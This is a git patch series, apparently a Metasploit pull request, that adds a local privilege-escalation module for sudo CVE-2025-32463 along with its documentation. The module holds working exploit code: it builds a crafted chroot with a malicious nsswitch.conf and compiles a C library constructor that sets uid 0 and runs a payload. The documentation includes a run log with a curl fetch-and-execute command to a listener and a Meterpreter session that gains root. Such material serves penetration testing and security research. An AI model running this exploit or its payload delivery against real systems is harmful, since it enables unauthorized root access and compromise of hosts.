From 4c6bfdcfad39bb609880370b971c38f85ecf196f Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 10 Jul 2025 15:33:28 +0200 Subject: [PATCH 01/16] Inits module --- .../linux/local/sudo_chroot_cve_2025_32463.rb | 167 ++++++++++++++++++ 1 file changed, 167 insertions(+) create mode 100644 modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb diff --git a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb new file mode 100644 index 0000000000000..89d9cf48479c3 --- /dev/null +++ b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb @@ -0,0 +1,167 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +### +# +# This exploit sample shows how an exploit module could be written to exploit +# a bug in a command on a linux computer for priv esc. +# +### +class MetasploitModule < Msf::Exploit::Local + Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html + + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Post::Linux::Kernel + include Msf::Post::Linux::System + include Msf::Post::Linux::Compile + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + # The Name should be just like the line of a Git commit - software name, + # vuln type, class. Preferably apply + # some search optimization so people can actually find the module. + # We encourage consistency between module name and file name. + 'Name' => 'Sudo Chroot 1.9.17 Privilege Escalation', + 'Description' => %q{ + This exploit module illustrates how a vulnerability could be exploited + in an linux command for priv esc. + }, + 'License' => MSF_LICENSE, + # The place to add your name/handle and email. Twitter and other contact info isn't handled here. + # Add reference to additional authors, like those creating original proof of concepts or + # reference materials. + # It is also common to comment in who did what (PoC vs metasploit module, etc) + 'Author' => [ + 'h00die ', # msf module + 'researcher' # original PoC, analysis + ], + 'Platform' => [ 'linux' ], + # from underlying architecture of the system. typically ARCH_X64 or ARCH_X86, but the exploit + # may only apply to say ARCH_PPC or something else, where a specific arch is required. + # A full list is available in lib/msf/core/payload/uuid.rb + 'Arch' => [ ARCH_CMD ], + # What types of sessions we can use this module in conjunction with. Most modules use libraries + # which work on shell and meterpreter, but there may be a nuance between one of them, so best to + # test both to ensure compatibility. + 'SessionTypes' => [ 'shell' ], + 'Targets' => [[ 'Auto', {} ]], + # from lib/msf/core/module/privileged, denotes if this requires or gives privileged access + # since privilege escalation modules typically result in elevated privileges, this is + # generally set to true + 'Privileged' => true, + 'References' => [ + [ 'OSVDB', '12345' ], + [ 'EDB', '12345' ], + [ 'URL', 'http://www.example.com'], + [ 'CVE', '1978-1234'] + ], + 'DisclosureDate' => '2023-11-29', + # Note that DefaultTarget refers to the index of an item in Targets, rather than name. + # It's generally easiest just to put the default at the beginning of the list and skip this + # entirely. + 'DefaultTarget' => 0, + # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + ) + + # force exploit is used to bypass the check command results + register_advanced_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), + + ] + end + + def check + return CheckCode::Appears('Vulnerable app version detected') + # Check the kernel version to see if its in a vulnerable range + # we guard this because some distros have funky kernel versions https://github.com/rapid7/metasploit-framework/issues/19812 + # release = kernel_release + # begin + # if Rex::Version.new(release.split('-').first) > Rex::Version.new('4.14.11') || + # Rex::Version.new(release.split('-').first) < Rex::Version.new('4.0') + # return CheckCode::Safe("Kernel version #{release} is not vulnerable") + # end + # rescue ArgumentError => e + # return CheckCode::Safe("Error determining or processing kernel release (#{release}) into known format: #{e}") + # end + # vprint_good "Kernel version #{release} appears to be vulnerable" + # + # # Check the app is installed and the version, debian based example + # package = cmd_exec('dpkg -l example | grep \'^ii\'') + # if package&.include?('1:2015.3.14AR.1-1build1') + # return CheckCode::Appears("Vulnerable app version #{package} detected") + # end + # + # CheckCode::Safe("app #{package} is not vulnerable") + end + + # + # The exploit method drops a payload file to the system, then either compiles and runs + # or just runs the exploit on the system. + # + def exploit + # Check if we're already root + if !datastore['ForceExploit'] && is_root? + fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' + end + + fil_with Failure::NotFound, 'Module needs to compile payload on target machine' unless live_compile? + + payload_file = rand_text_alphanumeric(5..10) + + upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!/bin/bash\n" + payload.encoded) + + register_files_for_cleanup("#{datastore['WritableDir']}/#{payload_file}") + + temp_dir = "#{datastore['WritableDir']}/#{rand_text_alphanumeric(5..10)}" + + base_dir = rand_text_alphanumeric(5..10) + + lib_filename = rand_text_alphanumeric(5..10) + + mkdir(temp_dir) + + cd(temp_dir) + + cmd_exec("mkdir -p #{base_dir}/etc libnss_") + + cmd_exec(%(echo "passwd: /#{lib_filename}" \> #{base_dir}/etc/nsswitch.conf)) + + cmd_exec("cp /etc/group #{base_dir}/etc") + + exploit_code = %< + #include + #include + + __attribute__((constructor)) + void exploit(void) { + setreuid(0,0); + setregid(0,0); + chdir("/"); + execve("#{datastore['WritableDir']}/#{payload_file}",NULL,NULL); /* root shell */ + }> + + upload_and_compile("#{temp_dir}/libnss_/#{lib_filename}.so.2", exploit_code, "-shared -fPIC -Wl,-init,#{base_dir}") + + cmd_exec("sudo -R #{base_dir} #{base_dir}") + + timeout = 30 + print_status 'Launching exploit...' + output = cmd_exec 'command', nil, timeout + output.each_line { |line| vprint_status line.chomp } + end +end From d8f0f5a0fee73f2a7b824378bee6384446a83290 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 10 Jul 2025 16:26:15 +0200 Subject: [PATCH 02/16] Adding check method, base for documentation --- .../linux/local/sudo_chroot_cve_2025_32463.md | 61 ++++++++++ .../linux/local/sudo_chroot_cve_2025_32463.rb | 109 +++++++----------- 2 files changed, 105 insertions(+), 65 deletions(-) create mode 100644 documentation/modules/exploit/linux/local/sudo_chroot_cve_2025_32463.md diff --git a/documentation/modules/exploit/linux/local/sudo_chroot_cve_2025_32463.md b/documentation/modules/exploit/linux/local/sudo_chroot_cve_2025_32463.md new file mode 100644 index 0000000000000..6308bf2a26969 --- /dev/null +++ b/documentation/modules/exploit/linux/local/sudo_chroot_cve_2025_32463.md @@ -0,0 +1,61 @@ +## Vulnerable Application + +Instructions to get the vulnerable application. If applicable, include links to the vulnerable install +files, as well as instructions on installing/configuring the environment if it is different than a +standard install. Much of this will come from the PR, and can be copy/pasted. + +## Verification Steps +Example steps in this format (is also in the PR): + +1. Install the application +1. Start msfconsole +1. Do: `use [module path]` +1. Do: `run` +1. You should get a shell. + +## Options +List each option and how to use it. + +### Option Name + +Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here. + +## Scenarios +Specific demo of using the module that might be useful in a real world scenario. + +### Version and OS + +``` +msf6 exploit(linux/local/sudo_chroot_cve_2025_32463) > run verbose=true +[*] Command to run on remote host: curl -so ./YoGpAgWbO http://192.168.168.128:8080/Q7JGOkCYlO14PhxIQeJRIQ;chmod +x ./YoGpAgWbO;./YoGpAgWbO& +[*] Fetch handler listening on 192.168.168.128:8080 +[*] HTTP server started +[*] Adding resource /Q7JGOkCYlO14PhxIQeJRIQ +[*] Started reverse TCP handler on 192.168.168.128:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Running version 1.9.16.2 +[*] Writing '/tmp/Xw1XwkTPC' (117 bytes) ... +[*] Max line length is 65537 +[*] Writing 117 bytes in 1 chunks of 420 bytes (octal-encoded), using printf +[*] Creating directory /tmp/ugJjJFSc9q +[*] /tmp/ugJjJFSc9q created +[*] Max line length is 65537 +[*] Writing 216 bytes in 1 chunks of 763 bytes (octal-encoded), using printf +[*] Client 192.168.168.140 requested /Q7JGOkCYlO14PhxIQeJRIQ +[*] Sending payload to 192.168.168.140 (curl/8.14.1) +[*] Transmitting intermediate stager...(126 bytes) +[*] Launching exploit... +[*] Sending stage (3090404 bytes) to 192.168.168.140 +[+] Deleted /tmp/Xw1XwkTPC +[+] Deleted /tmp/ugJjJFSc9q +[*] Meterpreter session 10 opened (192.168.168.128:4444 -> 192.168.168.140:41672) at 2025-07-10 16:12:58 +0200 + +meterpreter > sysinfo +Computer : kali.kali +OS : Debian (Linux 6.12.25-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: root +``` diff --git a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb index 89d9cf48479c3..b0309fef73018 100644 --- a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb +++ b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb @@ -3,18 +3,11 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -### -# -# This exploit sample shows how an exploit module could be written to exploit -# a bug in a command on a linux computer for priv esc. -# -### class MetasploitModule < Msf::Exploit::Local - Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html + Rank = NormalRanking include Msf::Post::File include Msf::Post::Linux::Priv - include Msf::Post::Linux::Kernel include Msf::Post::Linux::System include Msf::Post::Linux::Compile include Msf::Exploit::EXE @@ -26,54 +19,42 @@ def initialize(info = {}) super( update_info( info, - # The Name should be just like the line of a Git commit - software name, - # vuln type, class. Preferably apply - # some search optimization so people can actually find the module. - # We encourage consistency between module name and file name. 'Name' => 'Sudo Chroot 1.9.17 Privilege Escalation', 'Description' => %q{ This exploit module illustrates how a vulnerability could be exploited in an linux command for priv esc. }, 'License' => MSF_LICENSE, - # The place to add your name/handle and email. Twitter and other contact info isn't handled here. - # Add reference to additional authors, like those creating original proof of concepts or - # reference materials. - # It is also common to comment in who did what (PoC vs metasploit module, etc) + 'Author' => [ - 'h00die ', # msf module - 'researcher' # original PoC, analysis + 'msutovsky-r7', # module dev + 'Stratascale', # poc dev + 'Rich Mirch' # security research ], 'Platform' => [ 'linux' ], - # from underlying architecture of the system. typically ARCH_X64 or ARCH_X86, but the exploit - # may only apply to say ARCH_PPC or something else, where a specific arch is required. - # A full list is available in lib/msf/core/payload/uuid.rb + 'Arch' => [ ARCH_CMD ], - # What types of sessions we can use this module in conjunction with. Most modules use libraries - # which work on shell and meterpreter, but there may be a nuance between one of them, so best to - # test both to ensure compatibility. + + # chmod has some issues for meterpreter, forcing shell 'SessionTypes' => [ 'shell' ], + 'Targets' => [[ 'Auto', {} ]], - # from lib/msf/core/module/privileged, denotes if this requires or gives privileged access - # since privilege escalation modules typically result in elevated privileges, this is - # generally set to true + 'Privileged' => true, + 'References' => [ - [ 'OSVDB', '12345' ], - [ 'EDB', '12345' ], - [ 'URL', 'http://www.example.com'], - [ 'CVE', '1978-1234'] + [ 'EDB', '52352' ], + [ 'URL', 'https://www.helpnetsecurity.com/2025/07/01/sudo-local-privilege-escalation-vulnerabilities-fixed-cve-2025-32462-cve-2025-32463/'], + [ 'CVE', '2025-32463'] ], - 'DisclosureDate' => '2023-11-29', - # Note that DefaultTarget refers to the index of an item in Targets, rather than name. - # It's generally easiest just to put the default at the beginning of the list and skip this - # entirely. + 'DisclosureDate' => '2025-06-30', + 'DefaultTarget' => 0, - # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html + 'Notes' => { - 'Stability' => [], - 'Reliability' => [], - 'SideEffects' => [] + 'Stability' => [CRASH_SAFE], + 'Reliability' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'SideEffects' => [REPEATABLE_SESSION] } ) ) @@ -85,41 +66,39 @@ def initialize(info = {}) ] end + # borrowed from exploits/linux/local/sudo_baron_samedit.rb + def get_versions + versions = {} + output = cmd_exec('sudo --version') + if output + version = output.split("\n").first.split(' ').last + versions[:sudo] = version if version =~ /^\d/ + end + versions + end + def check - return CheckCode::Appears('Vulnerable app version detected') - # Check the kernel version to see if its in a vulnerable range - # we guard this because some distros have funky kernel versions https://github.com/rapid7/metasploit-framework/issues/19812 - # release = kernel_release - # begin - # if Rex::Version.new(release.split('-').first) > Rex::Version.new('4.14.11') || - # Rex::Version.new(release.split('-').first) < Rex::Version.new('4.0') - # return CheckCode::Safe("Kernel version #{release} is not vulnerable") - # end - # rescue ArgumentError => e - # return CheckCode::Safe("Error determining or processing kernel release (#{release}) into known format: #{e}") - # end - # vprint_good "Kernel version #{release} appears to be vulnerable" - # - # # Check the app is installed and the version, debian based example - # package = cmd_exec('dpkg -l example | grep \'^ii\'') - # if package&.include?('1:2015.3.14AR.1-1build1') - # return CheckCode::Appears("Vulnerable app version #{package} detected") - # end - # - # CheckCode::Safe("app #{package} is not vulnerable") + sudo_version = get_versions[:sudo] + + return CheckCode::Unknown('Could not identify the version of sudo.') if sudo_version.nil? + + return CheckCode::Safe if !file?('/etc/nsswitch.conf') + + sudo_version.gsub!(/p/, '.') + + return CheckCode::Appears("Running version #{sudo_version}") if Rex::Version.new(sudo_version).between?(Rex::Version.new('1.9.14'), Rex::Version.new('1.9.17')) + + CheckCode::Safe('Sudo is not vulnerable') end - # - # The exploit method drops a payload file to the system, then either compiles and runs - # or just runs the exploit on the system. - # def exploit # Check if we're already root if !datastore['ForceExploit'] && is_root? fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' end - fil_with Failure::NotFound, 'Module needs to compile payload on target machine' unless live_compile? + # needs to compile in real-time to adjust payload execution path + fail_with Failure::NotFound, 'Module needs to compile payload on target machine' unless live_compile? payload_file = rand_text_alphanumeric(5..10) From cf0f35c8e02950c9a39aa0719819576792809a8a Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 10 Jul 2025 17:10:13 +0200 Subject: [PATCH 03/16] Updating docs --- .../linux/local/sudo_chroot_cve_2025_32463.md | 30 ++++++++++--------- 1 file changed, 16 insertions(+), 14 deletions(-) diff --git a/documentation/modules/exploit/linux/local/sudo_chroot_cve_2025_32463.md b/documentation/modules/exploit/linux/local/sudo_chroot_cve_2025_32463.md index 6308bf2a26969..39123b5dd52da 100644 --- a/documentation/modules/exploit/linux/local/sudo_chroot_cve_2025_32463.md +++ b/documentation/modules/exploit/linux/local/sudo_chroot_cve_2025_32463.md @@ -1,29 +1,31 @@ ## Vulnerable Application -Instructions to get the vulnerable application. If applicable, include links to the vulnerable install -files, as well as instructions on installing/configuring the environment if it is different than a -standard install. Much of this will come from the PR, and can be copy/pasted. + +Sudo before version 1.19.17p1 allows user to use `chroot` option, when executing command. The option is intended to run a command with user-selected root directory (if sudoers file allow it). Change in version 1.9.14 allows resolving paths via `chroot` using user-specified root directory when sudoers is still evaluating. This allows the attacker to trick Sudo into loading arbitrary shared object. As target shared object, Name Service Switch (NSS) operations are trigged before resolving sudoers, but after running `chroot` syscall. The module requires existing session and requires compiler on target machine (e.g. `gcc`). ## Verification Steps -Example steps in this format (is also in the PR): -1. Install the application + 1. Start msfconsole -1. Do: `use [module path]` -1. Do: `run` -1. You should get a shell. +2. Get existing session to low-privileged user +3. Do: `use linux/local/sudo_chroot_cve_2025_32463` +4. Set target payload +5. Do: `set lhost [attacker IP address]` +6. Do: `set lport [attacker port]` +7. Do: `run` ## Options -List each option and how to use it. -### Option Name +### COMPILE -Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here. +Option setting if compile target payload on the target. -## Scenarios -Specific demo of using the module that might be useful in a real world scenario. +### COMPILER -### Version and OS +Option setting the compiler to compile target payload. + + +## Scenarios ``` msf6 exploit(linux/local/sudo_chroot_cve_2025_32463) > run verbose=true From c6e695f5c2c942760e7eac9fbd802e0107a3328b Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 10 Jul 2025 17:24:38 +0200 Subject: [PATCH 04/16] Fixing notes --- modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb index b0309fef73018..80a98cb997077 100644 --- a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb +++ b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb @@ -53,8 +53,8 @@ def initialize(info = {}) 'Notes' => { 'Stability' => [CRASH_SAFE], - 'Reliability' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], - 'SideEffects' => [REPEATABLE_SESSION] + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) From 5207f97da18eace666fd0d55ddc5451153caa249 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Fri, 11 Jul 2025 11:28:46 +0200 Subject: [PATCH 05/16] Addressing comments --- .../linux/local/sudo_chroot_cve_2025_32463.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb index 80a98cb997077..d74c09138df25 100644 --- a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb +++ b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb @@ -84,11 +84,12 @@ def check return CheckCode::Safe if !file?('/etc/nsswitch.conf') + # as sudo --version returns the version in format [version]p[minor version?], so this removes p sudo_version.gsub!(/p/, '.') return CheckCode::Appears("Running version #{sudo_version}") if Rex::Version.new(sudo_version).between?(Rex::Version.new('1.9.14'), Rex::Version.new('1.9.17')) - CheckCode::Safe('Sudo is not vulnerable') + CheckCode::Safe("Sudo #{sudo_version} is not vulnerable") end def exploit @@ -102,7 +103,13 @@ def exploit payload_file = rand_text_alphanumeric(5..10) - upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!/bin/bash\n" + payload.encoded) + existing_shell = cmd_exec('echo $0 || echo ${SHELL}') + + # puts existing_shell + + return Failure::NotFound, 'Could not find shell' unless file?(existing_shell) + + upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!#{existing_shell}\n" + payload.encoded) register_files_for_cleanup("#{datastore['WritableDir']}/#{payload_file}") From caab87096e1bcf9fbcb20e99b86f48b3547c4f4b Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Fri, 11 Jul 2025 12:37:31 +0200 Subject: [PATCH 06/16] Addressing comments, updating docs --- .../exploit/linux/local/sudo_chroot_cve_2025_32463.md | 9 +++++++++ .../exploits/linux/local/sudo_chroot_cve_2025_32463.rb | 4 ++-- 2 files changed, 11 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/linux/local/sudo_chroot_cve_2025_32463.md b/documentation/modules/exploit/linux/local/sudo_chroot_cve_2025_32463.md index 39123b5dd52da..33440637b385a 100644 --- a/documentation/modules/exploit/linux/local/sudo_chroot_cve_2025_32463.md +++ b/documentation/modules/exploit/linux/local/sudo_chroot_cve_2025_32463.md @@ -3,6 +3,15 @@ Sudo before version 1.19.17p1 allows user to use `chroot` option, when executing command. The option is intended to run a command with user-selected root directory (if sudoers file allow it). Change in version 1.9.14 allows resolving paths via `chroot` using user-specified root directory when sudoers is still evaluating. This allows the attacker to trick Sudo into loading arbitrary shared object. As target shared object, Name Service Switch (NSS) operations are trigged before resolving sudoers, but after running `chroot` syscall. The module requires existing session and requires compiler on target machine (e.g. `gcc`). +Installation of vulnerable sudo: + +``` +wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz && \ + tar xzf sudo-1.9.16p2.tar.gz && \ + cd sudo-1.9.16p2 && \ + ./configure --disable-gcrypt --prefix=/usr && make && make install +``` + ## Verification Steps diff --git a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb index d74c09138df25..6b7469ee8194e 100644 --- a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb +++ b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb @@ -125,9 +125,9 @@ def exploit cmd_exec("mkdir -p #{base_dir}/etc libnss_") - cmd_exec(%(echo "passwd: /#{lib_filename}" \> #{base_dir}/etc/nsswitch.conf)) + return Failure::PayloadFailed, 'Failed to create malicious nsswitch.conf file' unless write_file("#{base_dir}/etc/nsswitch.conf", "passwd: /#{lib_filename}\n") - cmd_exec("cp /etc/group #{base_dir}/etc") + return Failure::PayloadFailed, 'Failed to copy /etc/group' unless copy_file('/etc/group', "#{base_dir}/etc/group") exploit_code = %< #include From b1acfc1b979f72983fcbd07a3b595f94794d84ce Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Wed, 16 Jul 2025 12:22:20 +0200 Subject: [PATCH 07/16] Addressing comments --- .../linux/local/sudo_chroot_cve_2025_32463.rb | 20 +++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb index 6b7469ee8194e..0c62d9ccb9935 100644 --- a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb +++ b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb @@ -21,8 +21,13 @@ def initialize(info = {}) info, 'Name' => 'Sudo Chroot 1.9.17 Privilege Escalation', 'Description' => %q{ - This exploit module illustrates how a vulnerability could be exploited - in an linux command for priv esc. + Sudo before version 1.19.17p1 allows user to use `chroot` option, when + executing command. The option is intended to run a command with + user-selected root directory (if sudoers file allow it). Change in version + 1.9.14 allows resolving paths via `chroot` using user-specified root + directory when sudoers is still evaluating. + This allows the attacker to trick Sudo into loading arbitrary shared object, + thus resulting in a privilege escalation. }, 'License' => MSF_LICENSE, @@ -105,11 +110,9 @@ def exploit existing_shell = cmd_exec('echo $0 || echo ${SHELL}') - # puts existing_shell - return Failure::NotFound, 'Could not find shell' unless file?(existing_shell) - upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!#{existing_shell}\n" + payload.encoded) + upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!#{existing_shell}\n#{payload.encoded}") register_files_for_cleanup("#{datastore['WritableDir']}/#{payload_file}") @@ -123,14 +126,14 @@ def exploit cd(temp_dir) - cmd_exec("mkdir -p #{base_dir}/etc libnss_") + mkdir("#{base_dir}/etc") + mkdir('libnss_') return Failure::PayloadFailed, 'Failed to create malicious nsswitch.conf file' unless write_file("#{base_dir}/etc/nsswitch.conf", "passwd: /#{lib_filename}\n") return Failure::PayloadFailed, 'Failed to copy /etc/group' unless copy_file('/etc/group', "#{base_dir}/etc/group") exploit_code = %< - #include #include __attribute__((constructor)) @@ -138,7 +141,8 @@ def exploit setreuid(0,0); setregid(0,0); chdir("/"); - execve("#{datastore['WritableDir']}/#{payload_file}",NULL,NULL); /* root shell */ + execve("#{datastore['WritableDir']}/#{payload_file}",NULL,NULL); + }> upload_and_compile("#{temp_dir}/libnss_/#{lib_filename}.so.2", exploit_code, "-shared -fPIC -Wl,-init,#{base_dir}") From 0a9dda06fbaaa3371292578b337d15d44138f3f9 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Tue, 22 Jul 2025 12:33:46 +0200 Subject: [PATCH 08/16] Addressing comments --- modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb index 0c62d9ccb9935..c78c3b94f4c4c 100644 --- a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb +++ b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb @@ -67,7 +67,6 @@ def initialize(info = {}) # force exploit is used to bypass the check command results register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), - ] end @@ -89,7 +88,7 @@ def check return CheckCode::Safe if !file?('/etc/nsswitch.conf') - # as sudo --version returns the version in format [version]p[minor version?], so this removes p + # as `sudo --version` returns the version in format `[version]p[minor version?]`, we need to remove the `p` character. sudo_version.gsub!(/p/, '.') return CheckCode::Appears("Running version #{sudo_version}") if Rex::Version.new(sudo_version).between?(Rex::Version.new('1.9.14'), Rex::Version.new('1.9.17')) @@ -139,8 +138,6 @@ def exploit __attribute__((constructor)) void exploit(void) { setreuid(0,0); - setregid(0,0); - chdir("/"); execve("#{datastore['WritableDir']}/#{payload_file}",NULL,NULL); }> From 547a0bb7f47e22f796c6486d9872bdb1654f7909 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Tue, 22 Jul 2025 12:41:33 +0200 Subject: [PATCH 09/16] Adds sudo version check using existing functionality --- .../linux/local/sudo_chroot_cve_2025_32463.rb | 19 +++---------------- 1 file changed, 3 insertions(+), 16 deletions(-) diff --git a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb index c78c3b94f4c4c..1c4e7c134e900 100644 --- a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb +++ b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb @@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Compile + include Msf::Post::Linux::Packages include Msf::Exploit::EXE include Msf::Exploit::FileDropper @@ -70,27 +71,13 @@ def initialize(info = {}) ] end - # borrowed from exploits/linux/local/sudo_baron_samedit.rb - def get_versions - versions = {} - output = cmd_exec('sudo --version') - if output - version = output.split("\n").first.split(' ').last - versions[:sudo] = version if version =~ /^\d/ - end - versions - end - def check - sudo_version = get_versions[:sudo] + sudo_version = installed_package_version('sudo') - return CheckCode::Unknown('Could not identify the version of sudo.') if sudo_version.nil? + return CheckCode::Unknown('Could not identify the version of sudo.') if sudo_version.blank? return CheckCode::Safe if !file?('/etc/nsswitch.conf') - # as `sudo --version` returns the version in format `[version]p[minor version?]`, we need to remove the `p` character. - sudo_version.gsub!(/p/, '.') - return CheckCode::Appears("Running version #{sudo_version}") if Rex::Version.new(sudo_version).between?(Rex::Version.new('1.9.14'), Rex::Version.new('1.9.17')) CheckCode::Safe("Sudo #{sudo_version} is not vulnerable") From c5c51fe5777f5b44a4cdac2f03b6dbec3b4ad188 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Tue, 22 Jul 2025 15:32:27 +0200 Subject: [PATCH 10/16] Updates comments --- modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb index 1c4e7c134e900..44847c411ea05 100644 --- a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb +++ b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb @@ -41,7 +41,7 @@ def initialize(info = {}) 'Arch' => [ ARCH_CMD ], - # chmod has some issues for meterpreter, forcing shell + # mkdir/chmod has some issues for meterpreter, forcing shell 'SessionTypes' => [ 'shell' ], 'Targets' => [[ 'Auto', {} ]], From e1b8453764b256402a8932dadb95a7e08bb5f139 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Mon, 28 Jul 2025 11:56:31 +0200 Subject: [PATCH 11/16] Removing redundant include --- modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb index 44847c411ea05..67f8ff0c2e20f 100644 --- a/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb +++ b/modules/exploits/linux/local/sudo_chroot_cve_2025_32463.rb @@ -6,7 +6,6 @@ class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking - include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Compile From 162f73942c4324bcb6d53e5ff1eb531534a03b48 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 31 Jul 2025 07:19:09 +0200 Subject: [PATCH 12/16] Specifies version in documentation --- .../modules/exploit/linux/local/sudo_chroot_cve_2025_32463.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/linux/local/sudo_chroot_cve_2025_32463.md b/documentation/modules/exploit/linux/local/sudo_chroot_cve_2025_32463.md index 33440637b385a..09e8357d14eab 100644 --- a/documentation/modules/exploit/linux/local/sudo_chroot_cve_2025_32463.md +++ b/documentation/modules/exploit/linux/local/sudo_chroot_cve_2025_32463.md @@ -1,7 +1,7 @@ ## Vulnerable Application -Sudo before version 1.19.17p1 allows user to use `chroot` option, when executing command. The option is intended to run a command with user-selected root directory (if sudoers file allow it). Change in version 1.9.14 allows resolving paths via `chroot` using user-specified root directory when sudoers is still evaluating. This allows the attacker to trick Sudo into loading arbitrary shared object. As target shared object, Name Service Switch (NSS) operations are trigged before resolving sudoers, but after running `chroot` syscall. The module requires existing session and requires compiler on target machine (e.g. `gcc`). +Sudo before version 1.9.14-1.9.17p1 allows user to use `chroot` option, when executing command. The option is intended to run a command with user-selected root directory (if sudoers file allow it). Change in version 1.9.14 allows resolving paths via `chroot` using user-specified root directory when sudoers is still evaluating. This allows the attacker to trick Sudo into loading arbitrary shared object. As target shared object, Name Service Switch (NSS) operations are trigged before resolving sudoers, but after running `chroot` syscall. The module requires existing session and requires compiler on target machine (e.g. `gcc`). Installation of vulnerable sudo: From 